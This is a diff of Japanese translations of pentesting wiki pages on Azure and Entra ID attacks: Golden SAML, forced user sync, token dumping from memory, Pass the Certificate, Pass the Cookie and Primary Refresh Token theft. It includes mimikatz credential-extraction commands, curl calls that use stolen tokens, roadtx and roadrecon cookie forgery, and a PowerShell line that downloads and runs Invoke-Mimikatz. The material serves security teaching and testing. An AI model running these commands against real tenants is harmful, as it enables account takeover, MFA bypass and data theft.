- ImmutableIDは、ユーザーのためにオンプレミスのms-DS-ConsistencyGuidに保存されており、またはユーザーのGUIDから導出できます。
|
||||
- ImmutableIDは、ユーザーのms-DS-ConsistencyGuidとしてオンプレミスに保存されており、またはユーザーのGUIDから導出できます。
|
||||
- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)を参照してください。
|
||||
|
||||
**ゴールデンSAML攻撃:**
|
||||
**ゴールデンSAML攻撃：**
|
||||
|
||||
- ADFSでは、SAML Responseはトークン署名証明書によって署名されます。
|
||||
- 証明書が侵害された場合、Azure ADに同期された任意のユーザーとして認証することが可能です！
|
||||
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、私たちは認証応答を偽造しているからです。
|
||||
- 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。
|
||||
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がなく、認証応答を偽造しているためです。
|
||||
- 証明書はDA権限を持つAD FSサーバーから抽出でき、インターネットに接続された任意のマシンから使用できます。
|
||||
- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)を参照してください。
|
||||
|
||||
### ゴールデンSAML
|
||||
|
||||
**アイデンティティプロバイダー (IdP)** がユーザーサインインを承認するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これは、**サービスプロバイダー (SP)** がSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。
|
||||
**アイデンティティプロバイダー (IdP)** がユーザーサインインを認可するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これにより、**サービスプロバイダー (SP)** はSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。
|
||||
|
||||
[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名プライベートキー) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を**偽造**することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。
|
||||
[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を偽造することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。
|
||||
|
||||
ゴールデンSAMLにはいくつかの利点があります：
|
||||
|
||||
- **リモートで作成**でき、対象のドメインやフェデレーションの一部である必要はありません。
|
||||
- **リモートで作成**でき、ドメインやフェデレーションの一部である必要がありません。
|
||||
- **二要素認証 (2FA)** が有効でも効果があります。
|
||||
- トークン署名の**プライベートキーは自動的に更新されません**。
|
||||
- トークン署名の**秘密鍵は自動的に更新されません**。
|
||||
- **ユーザーのパスワードを変更しても**、すでに生成されたSAMLは無効になりません。
|
||||
|
||||
#### AWS + AD FS + ゴールデンSAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。
|
||||
|
||||
AWSが侵害されたドメインを信頼している場合、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**プライベートキー**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、このプライベートキーを取得できます。
|
||||
AWSが侵害されたドメインを信頼している場合 (フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得できます。
|
||||
|
||||
ゴールデンSAML攻撃を実行するための要件は次のとおりです：
|
||||
|
||||
- **トークン署名プライベートキー**
|
||||
- **トークン署名秘密鍵**
|
||||
- **IdP公開証明書**
|
||||
- **IdP名**
|
||||
- **ロール名 (引き受けるロール)**
|
||||
@@ -80,9 +80,9 @@ AWSが侵害されたドメインを信頼している場合、この脆弱性
|
||||
- AWSのロールセッション名
|
||||
- AmazonアカウントID
|
||||
|
||||
_太字の項目のみが必須です。他の項目は任意で入力できます。_
|
||||
_太字の項目のみが必須です。他の項目は任意で記入できます。_
|
||||
|
||||
**プライベートキー**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、プライベートキーを[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください：
|
||||
**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください：
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -3,19 +3,19 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Entra ID ユーザーをオンプレミスに強制的に同期させる
|
||||
## Entra ID ユーザーのオンプレミスへの同期強制
|
||||
|
||||
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) で述べられているように、オンプレミスの AD ユーザー内の **`ProxyAddress`** の値を変更し、Entra ID 管理者ユーザーのメールアドレスを追加し、AD と Entra ID のユーザーの UPN が一致することを確認することが可能でした（これが再び Entra ID です）、例えば **`SMTP:admin@domain.onmicrosoft.com`** のように。この操作により、**このユーザーの同期を Entra ID からオンプレミス AD に強制する**ことができるため、ユーザーのパスワードが知られていれば、Entra ID の管理者に**アクセスするために使用できる**可能性があります。
|
||||
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) で述べられているように、オンプレミスの AD ユーザー内の **`ProxyAddress`** の値を変更し、Entra ID 管理者ユーザーのメールアドレスを追加し、AD と Entra ID のユーザーの UPN が一致することを確認することが可能でした（これが再び Entra ID です）、例えば **`SMTP:admin@domain.onmicrosoft.com`** のように。この操作により、**このユーザーの同期を Entra ID からオンプレミス AD に強制する**ことができ、ユーザーのパスワードが知られていれば、Entra ID の管理者に**アクセスするために使用できました**。
|
||||
|
||||
Entra ID からオンプレミス AD に新しいユーザーを同期させるための要件は以下の通りです。唯一の要件は：
|
||||
Entra ID からオンプレミス AD に新しいユーザーを同期するための要件は以下の通りです。唯一の要件は：
|
||||
|
||||
- オンプレミス AD 内のユーザーの属性を制御する（または新しいユーザーを作成する権限を持つ）
|
||||
- Entra ID からオンプレミス AD に同期するためのユーザーがクラウド専用であることを知っている
|
||||
- Entra ID からオンプレミス AD に同期するためのユーザーを知っていること
|
||||
- **ハードマッチ**を行うために、Entra ID ユーザーの immutableID 属性をオンプレミス AD ユーザーに変更できる必要があるかもしれません。
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID はもはや Entra ID からオンプレミス AD に管理者を同期させることを許可していません。
|
||||
> Entra ID はもはや Entra ID からオンプレミス AD への管理者の同期を許可していません。
|
||||
> また、これは **MFA をバイパスすることはありません**。
|
||||
|
||||
|
||||
@@ -2,38 +2,58 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ローカルトークンの保存とセキュリティ考慮事項
|
||||
## ローカルトークンストレージとセキュリティ考慮事項
|
||||
|
||||
### Azure CLI (コマンドラインインターフェース)
|
||||
### Azure CLI (コマンドラインインターフェイス)
|
||||
|
||||
トークンと機密データはAzure CLIによってローカルに保存されており、セキュリティ上の懸念があります：
|
||||
|
||||
1. **アクセストークン**: `C:\Users\<username>\.Azure`にある`accessTokens.json`にプレーンテキストで保存されています。
|
||||
2. **サブスクリプション情報**: 同じディレクトリにある`azureProfile.json`にはサブスクリプションの詳細が含まれています。
|
||||
3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、露出した資格情報を含むログが含まれている可能性があります。例えば：
|
||||
3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、次のような資格情報が露出したログが含まれている可能性があります：
|
||||
- 資格情報が埋め込まれた実行されたコマンド。
|
||||
- トークンを使用してアクセスされたURL、機密情報を明らかにする可能性があります。
|
||||
|
||||
### Azure PowerShell
|
||||
|
||||
Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセス可能です：
|
||||
Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセスできます：
|
||||
|
||||
1. **アクセストークン**: `C:\Users\<username>\.Azure`にある`TokenCache.dat`にプレーンテキストで保存されています。
|
||||
2. **サービスプリンシパルの秘密**: これらは`AzureRmContext.json`に暗号化されずに保存されています。
|
||||
2. **サービスプリンシパルシークレット**: これらは`AzureRmContext.json`に暗号化されずに保存されています。
|
||||
3. **トークン保存機能**: ユーザーは`Save-AzContext`コマンドを使用してトークンを永続化することができますが、不正アクセスを防ぐために注意して使用する必要があります。
|
||||
|
||||
## 自動ツールでの発見
|
||||
### 自動ツールでの発見
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## セキュリティ推奨事項
|
||||
## メモリ内のトークン
|
||||
|
||||
プレーンテキストでの機密データの保存を考慮すると、これらのファイルとディレクトリを保護することが重要です：
|
||||
[**このビデオ**](https://www.youtube.com/watch?v=OHKZkXC4Duw)で説明されているように、クラウドと同期された一部のMicrosoftソフトウェア（Excel、Teamsなど）は、**メモリ内にプレーンテキストでアクセストークンを保存する可能性があります**。したがって、プロセスの**メモリをダンプ**し、**JWTトークンをgrep**することで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできるかもしれません。
|
||||
|
||||
- これらのファイルへのアクセス権を制限する。
|
||||
- 不正アクセスや予期しない変更のために、これらのディレクトリを定期的に監視および監査する。
|
||||
- 可能な限り機密ファイルに対して暗号化を使用する。
|
||||
- ユーザーに対して、機密情報の取り扱いに関するリスクとベストプラクティスについて教育する。
|
||||
手順：
|
||||
|
||||
1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします。
|
||||
2. `string excel.dmp | grep 'eyJ0'`を実行し、出力内のいくつかのトークンを見つけます。
|
||||
3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します：
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**この種のアクセストークンは、他のプロセス内にも存在する可能性があることに注意してください。**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Entra ID CA**によって発行された証明書を使用して、1台のマシンから別のマシンに認証することが可能です（対象者として必要なユーザー）。
|
||||
Azureに参加しているマシンでは、両方のマシンが**NegoEx**認証メカニズムをサポートしている場合、**Entra ID CA**によって発行された証明書を使用して、1台のマシンから別のマシンに認証することが可能です（対象として必要なユーザー）。
|
||||
|
||||
超簡略化すると：
|
||||
|
||||
- 接続を開始するマシン（クライアント）は、**ユーザーのためにEntra IDから証明書が必要**です。
|
||||
- クライアントは、PRTやその他の詳細を含むJSON Web Token（JWT）ヘッダーを作成し、派生キー（セッションキーとセキュリティコンテキストを使用）を使って署名し、**Entra IDに送信**します。
|
||||
- クライアントは、PRTやその他の詳細を含むJSON Web Token (JWT) ヘッダーを作成し、派生キー（セッションキーとセキュリティコンテキストを使用）を使って署名し、**Entra IDに送信**します。
|
||||
- Entra IDは、クライアントのセッションキーとセキュリティコンテキストを使用してJWT署名を検証し、PRTの有効性を確認し、**証明書**で**応答**します。
|
||||
|
||||
このシナリオでは、[**Pass the PRT**](pass-the-prt.md)攻撃に必要なすべての情報を取得した後：
|
||||
このシナリオでは、[**Pass the PRT**](az-primary-refresh-token-prt.md)攻撃に必要なすべての情報を取得した後：
|
||||
|
||||
- ユーザー名
|
||||
- テナントID
|
||||
@@ -20,11 +20,11 @@ Azureに参加しているマシンでは、両方のマシンが**NegoEx**認
|
||||
- セキュリティコンテキスト
|
||||
- 派生キー
|
||||
|
||||
ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書を要求**することが可能です。
|
||||
ツール[**PrtToCert**](https://github.com/morRubin/PrtToCert)を使用して、ユーザーのために**P2P証明書**を**要求**することが可能です。
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
証明書はPRTと同じ期間有効です。証明書を使用するには、pythonツール[**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)を使用して、リモートマシンに**認証**し、**PSEXEC**を実行し、被害者のマシンで**CMD**を開くことができます。これにより、別のユーザーのPRTを取得するために再度Mimikatzを使用することができます。
|
||||
証明書はPRTと同じ期間有効です。証明書を使用するには、pythonツール[**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC)を使用して、リモートマシンに**認証**し、**PSEXEC**を実行し、被害者のマシンで**CMD**を開くことができます。これにより、別のユーザーのPRTを取得するためにMimikatzを再度使用することができます。
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## なぜクッキーなのか？
|
||||
|
||||
ブラウザの**クッキー**は、**認証とMFAをバイパスする**ための優れたメカニズムです。ユーザーがすでにアプリケーションに認証されているため、セッション**クッキー**を使用して、そのユーザーとして**データにアクセス**することができ、再認証する必要がありません。
|
||||
ブラウザの**クッキー**は、**認証とMFAをバイパスする**ための優れたメカニズムです。ユーザーがすでにアプリケーションに認証されているため、セッション**クッキー**を使用して、そのユーザーとして**データにアクセス**することができ、再認証は必要ありません。
|
||||
|
||||
**ブラウザのクッキーの場所**は次のリンクで確認できます：
|
||||
|
||||
@@ -14,13 +14,13 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
## 攻撃
|
||||
|
||||
難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API（**DPAPI**）を介して暗号化されています。これは、クッキーが属するユーザーに結びついた暗号化された[キー](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)を使用して暗号化されています。このことについての詳細は次のリンクで確認できます：
|
||||
難しい部分は、これらの**クッキーがユーザーのために暗号化されている**ことです。これはMicrosoft Data Protection API（**DPAPI**）を介して暗号化されています。これは、クッキーが属するユーザーに結びついた暗号化された[キー](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html)を使用して暗号化されています。これに関する詳細情報は次のリンクで確認できます：
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Mimikatzを手に入れれば、次のコマンドを使用して**ユーザーのクッキーを抽出**することができます。
|
||||
Mimikatzを手に入れれば、次のコマンドを使用して、暗号化されていても**ユーザーのクッキーを抽出**することができます：
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
|
||||
@@ -4,9 +4,10 @@
|
||||
|
||||
## What is a Primary Refresh Token (PRT)?
|
||||
|
||||
**Primary Refresh Token (PRT)**は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、**セッションキー**（所有証明キーとも呼ばれる）が付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータ（クライアントが読み取れない）であり、セッションキーはトークンを要求する際にPRTを含むJWTを**署名**するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキーを必要とします。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。
|
||||
**Primary Refresh Token (PRT)**は、Azure AD (Entra ID) 認証で使用される長寿命のリフレッシュトークンで、Kerberos TGTに類似しています。これは、Azure ADに参加したデバイスでユーザーがログインすると発行され、資格情報を再入力することなくさまざまなアプリケーションのアクセストークンを要求するために使用できます。各PRTには、**セッションキー**（所有証明キーとも呼ばれる）が付随しており、リクエストに署名し、クライアントがPRTを持っていることを証明するために使用される対称キーです。PRT自体は不透明で暗号化されたバイナリデータ（クライアントが読み取れない）であり、セッションキーはトークンを要求する際にPRTを含むJWTを**署名**するために使用されます。言い換えれば、PRTを持っているだけでは不十分であり、攻撃者は正当性を証明するためにセッションキーが必要です。これは、認証のためにKerberos TGTとそのセッションキーの両方が必要なことに似ています。
|
||||
|
||||
Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスに**TPM**（Trusted Platform Module）がある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合（例：多くのVMや古いシステム）、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環として**メモリからPRTとセッションキーをダンプする**ことを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。一般的なリフレッシュトークン（通常はアプリケーション固有）とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。
|
||||
Windowsでは、PRTとセッションキーはCloudAPプラグインを介してLSASSプロセスにキャッシュされます。デバイスに**TPM**（Trusted Platform Module）がある場合、Azure ADは追加のセキュリティのためにキーをTPMにバインドします。これは、TPMを搭載したデバイスでは、セッションキーがTPM内に保存または使用され、通常の状況下ではメモリから直接読み取ることができないことを意味します。TPMが利用できない場合（例：多くのVMや古いシステム）、キーはソフトウェアに保持され、DPAPI暗号化で保護されます。いずれの場合も、管理者権限またはマシン上でのコード実行を持つ攻撃者は、ポストエクスプロイトの一環として**メモリからPRTとセッションキーをダンプする**ことを試み、その後それらを使用してクラウド内でユーザーを偽装することができます。
|
||||
一般的なリフレッシュトークン（通常はアプリケーション固有）とは異なり、PRTはより広範で、デバイスがほぼすべてのEntra ID統合リソースまたはサービスのトークンを要求できるようにします。
|
||||
|
||||
## How Does a PRT Work?
|
||||
|
||||
@@ -61,14 +62,22 @@ dsregcmd /status
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump and user unprotected PRTs
|
||||
## PRTを渡す
|
||||
|
||||
According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **TPMバインディングなし**、PRTとそのセッションキーはLSASS（CloudAPプラグイン）に存在します。そのデバイスでローカル管理者/SYSTEM権限があれば、PRTブロブとDPAPIで暗号化されたセッションキーは**LSASSから読み取ることができ、DPAPIを介してセッションキーを復号し、署名キーを導出**して有効なPRTクッキー（`x‑ms‑RefreshTokenCredential`）を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。
|
||||
[この投稿](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)によると、**TPMバインディングのない**Windowsデバイスでは、PRTとそのセッションキーはLSASS（CloudAPプラグイン）に存在します。そのデバイスでローカル管理者/SYSTEMの権限があれば、PRTバイナリとDPAPIで暗号化されたセッションキーを**LSASSから読み取り、DPAPIを使用してセッションキーを復号し、署名キーを導出**して有効なPRTクッキー（`x‑ms‑RefreshTokenCredential`）を生成できます。PRTとそのセッションキーの両方が必要です—PRT文字列だけでは不十分です。
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. **PRT（プライマリリフレッシュトークン）がLSASS**（ローカルセキュリティ機関サブシステムサービス）から抽出され、後で使用するために保存されます。
|
||||
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号する必要があります。DPAPI（データ保護API）に関する詳細情報は、これらのリソースで見つけることができます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie攻撃](az-pass-the-cookie.md)を参照してください。
|
||||
3. セッションキーの復号後、**PRTのための導出キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、導出キーはクッキーを構成するJWT（JSON Webトークン）に署名するために使用されます。このプロセスの詳細な説明はDirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)からアクセスできます。
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
**PRTフィールド**には、暗号化されたリフレッシュトークン（通常はbase64文字列）が含まれており、ProofOfPossessionKeyのKeyValueにはDPAPIで暗号化されたセッションキー（これもbase64）が含まれています。
|
||||
|
||||
@@ -78,14 +87,17 @@ sekurlsa::cloudap
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
`token::elevate`はSYSTEMを偽装し、`dpapi::cloudapkd`コマンドの`/unprotect`はDPAPIマスターキーを使用して提供されたKeyValue blobを復号化します。これにより、平文のセッションキーと、署名に使用される関連するDerived KeyとContextが得られます：
|
||||
`token::elevate`はSYSTEMを偽装し、`dpapi::cloudapkd`コマンドの`/unprotect`はDPAPIマスターキーを使用して提供されたKeyValue blobを復号化します。これにより、平文のセッションキーと、署名に使用される関連するDerived KeyおよびContextが得られます：
|
||||
- **Clear key** – 平文の32バイトセッションキー（16進数文字列として表現）。
|
||||
- **Derived Key** – セッションキーとコンテキスト値から導出された32バイトキー（詳細は以下）。
|
||||
- **Context** – PRTクッキーの署名キーを導出する際に使用された24バイトのランダムコンテキスト。
|
||||
|
||||
> [!NOTE]
|
||||
> これがユーザーを偽装するために機能しない場合は、**`AADInternals`**を使用して次のセクションを確認してください。
|
||||
> これがユーザーを偽装するために機能しない場合は、**`AADInternals`**を使用している以下のセクションを確認してください。
|
||||
|
||||
その後、mimikatzを使用して有効なPRTクッキーを生成することもできます：
|
||||
```bash
|
||||
@@ -94,13 +106,13 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatzは、「Signature with key」という行の後に署名されたJWT（`PRT cookie`）を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、`login.microsoftonline.com`に移動し、`x-ms-RefreshTokenCredential`という名前のクッキーをこのJWTの値で設定できます。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱い（PRTクッキーはSSOが発生したかのように提示されます）、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可します（PRTはすでに認証されているため、MFAをバイパスします）。
|
||||
Mimikatzは、「Signature with key」という行の後に署名されたJWT（`PRT cookie`）を出力します。これにはPRTが含まれ、導出されたキーを使用して署名されています。このJWTはコピーされ、ウェブセッションで使用できます。たとえば、攻撃者はブラウザを開き、`login.microsoftonline.com`に移動し、`x-ms-RefreshTokenCredential`という名前のクッキーをこのJWTの値で設定します。ブラウザがリフレッシュまたはナビゲートすると、Azure ADはセッションを認証済みとして扱います（PRTクッキーはSSOが発生したかのように提示されます）ので、指定されたリソースのために認可コードまたはアクセストークンを発行します。実際には、Office 365やAzureポータルのようなリソースに移動します。正当なPRTクッキーが存在する場合、Azure ADは追加のログインなしでアクセスを許可します（PRTはすでに認証されているため、MFAをバイパスします）。
|
||||
|
||||
また、**`roadtx`**および**`roadrecon`**をPRTクッキーのPRTとともに使用してユーザーを偽装することもできます *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*。
|
||||
また、**`roadtx`**と**`roadrecon`**をPRTクッキーのPRTと共に使用してユーザーを偽装することもできます *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*。
|
||||
|
||||
### AADInternals
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
**`AADInternals`** PowerShellモジュールも、以前に取得したPRTとセッションキーを使用して有効なPRTトークンを生成するために使用できます。これは、nonceを使用して新しいPRTトークンを取得するプロセスを自動化するのに便利で、Azure AD Graph APIや他のリソースのためのアクセストークンを取得するために使用できます。
|
||||
**`AADInternals`** PowerShellモジュールも、以前に取得したPRTとセッションキーを使用して有効なPRTトークンを生成するために使用できます。これは、nonceを使用して新しいPRTトークンを取得するプロセスを自動化するのに便利で、Azure AD Graph APIや他のリソースのアクセストークンを取得するために使用できます。
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
@@ -124,23 +136,42 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
このプロセスは、新しいPRTクッキー（ノンス付き）を取得し、それを使用してAzure AD Graph APIのアクセストークンを取得します（ユーザーの代理としてクラウドアクセスを示しています）。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。
|
||||
これは新しいPRTクッキー（ノンス付き）を取得し、それを使用してAzure AD Graph APIのアクセストークンを取得します（ユーザーの代理としてクラウドアクセスを示しています）。AADInternalsは多くの暗号化を抽象化し、Windowsコンポーネントまたは独自のロジックを内部で使用します。
|
||||
|
||||
### Mimikatz + roadtx
|
||||
|
||||
- まずPRTを更新し、`roadtx.prt`に保存します：
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- 現在、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンにMFAクレームが含まれていることがわかります。これは、今回使用したPRTにもMFAクレームが含まれていたためです。
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Mimikatz + roadrecon
|
||||
|
||||
mimikatzによってダンプされたコンテキストと派生キーを持っている場合、roadreconを使用して新しい署名付きクッキーを生成することが可能です:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## 保護されたPRTの悪用
|
||||
|
||||
